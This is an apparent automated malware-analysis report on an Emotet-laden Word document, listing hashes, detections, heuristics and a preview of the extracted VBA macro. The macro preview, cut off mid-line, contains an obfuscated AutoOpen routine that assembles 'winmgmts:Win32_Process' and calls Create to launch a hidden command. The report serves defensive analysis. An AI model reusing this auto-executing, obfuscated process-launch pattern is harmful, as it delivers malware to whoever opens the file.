Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 531b37cab352ea56…

MALICIOUS

Office (OLE)

136.0 KB Created: 2019-05-27 15:38:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 542bcb3aaa9abb6bffc75f513d8db8a6 SHA-1: a2f9b8bcf951ae9cec769c57b36d0925b4847ba2 SHA-256: 531b37cab352ea56ea07f93e299167115743780d7aa79cc4595629fa56832ae3
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-10001946-0', strongly suggesting the Emotet family. The presence of an AutoOpen VBA macro, which is a common execution vector for Emotet, further supports this. The macro itself contains obfuscated debug print statements, indicating it is designed to execute further stages, likely involving downloading additional payloads.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5931 bytes
SHA-256: 3084b72eb803e307c982262298b3c5696b08e94d6af02b819cd21fdd4a0c2d90
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "w8JZZGz, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "JqaZ0d, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "uhpbaYY, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   Debug.Print "jMwF1Nfi" + ("HT3p_v" + ("aHtnYGz" + "n8qtD3wr" + "jDYkdaN0" + ("P7wo6Fd" + ("qqQVQv") + "QFbE9n" + "VHhQMLHz")) + "rLCz9Z2" + ("DVsH12G")) + "iSVSvtf9" + (sniiMn6a) + "GCOUF8k" + "kZFRPM1S" + "QTAiJw6" + "ai6b1Zvj"
vGl_dza
   Debug.Print "WncbTfi" + ("fCEYzrG" + ("dmLICV" + "Up3nw1Q" + "tkzjfEa6" + ("XCFjhs" + ("XOTkHKvG") + "C1MzLCzj" + "DhwNjNz")) + "HU7_8z" + ("PcozYQc")) + "vn3DsANI" + (YFD5WPwp) + "sQANmj" + "rqRTVzTL" + "XTs2H5" + "MjSjllz"
End Sub


Attribute VB_Name = "u6divb"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jzJ5ApQB"

Attribute VB_Name = "za0CVK3"

Attribute VB_Name = "Wzf9Mi"

Attribute VB_Name = "HVOQk5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YiBfYj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MGliqA5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zqVmMTza"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "n_39rX"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Rojho7W"
Function vGl_dza()
NXWj9PVm = ThisDocument.JqaZ0d + ThisDocument.uhpbaYY + ThisDocument.w8JZZGz
   Debug.Print "nO8dDGD" + ("CTCc8slC" + ("LcI7KMtW" + "jhuLi4wn" + "usP1cd" + ("GJwBIhc" + ("PzQVuZQ") + "i30D800" + "aNSdsu")) + "Z0lZMu" + ("X2wzJS")) + "w4mnDNz" + (b7rU1EhO) + "PtHXHYwi" + "U3NOzh" + "YLSLib" + "u8nwRipY"
RBT_PHH = "m" _
+ "ts" + ":Win32" _
+ "_Proces"
   Debug.Print "nZ4S_t" + ("wik9vjYE" + ("prPCdf3" + "sE8Wkf" + "bqPrJjM" + ("niHR8qBJ" + ("vt7Xb9") + "q_L_dRD" + "RzoIChm")) + "uw6Y7N" + ("dulSwti")) + "aqwE1NE" + (Ss_3MUoH) + "jaE0wFsU" + "bEJKpB" + "MDj2GP3j" + "cQprplS0"
jU6ii4 = zI5zLJRi + "w" _
+ "in" + "mg" + IYp3AU _
+ RBT_PHH + "s"
   Debug.Print "bSHjZJbB" + ("UA0oO8" + ("OLzs9m9" + "QMkmqS3D" + "jsnTSH" + ("anfcqRF" + ("z1Ufim") + "rLqttG" + "mK2o3flQ")) + "IN3jShL" + ("LIrEFMMc")) + "rwj6p7" + (sUdPEb) + "KPT4Jin" + "iDFwcqC" + "LooSNk" + "Qvb_EP"
MlKmiNUZ(jU6ii4) _
.Create# NXWj9PVm, zJE5SKUj, WM8WSJo, Bdapbl2N
   Debug.Print "rBhBUw" + ("SwmRWzdM" + ("JtizoPd8" + "TsuhW7D" + "Auh2NDSS" + ("FEzOazw" + ("TRjYlQ") + "BE6bvEW" + "h3VtV9")) + "DYjdUu" + ("ABjcW7")) + "UQOKLVA" + (PI5RVBUK) + "tBMsUUH" + "pzwtRs" + "lOJtYH" +
... (truncated)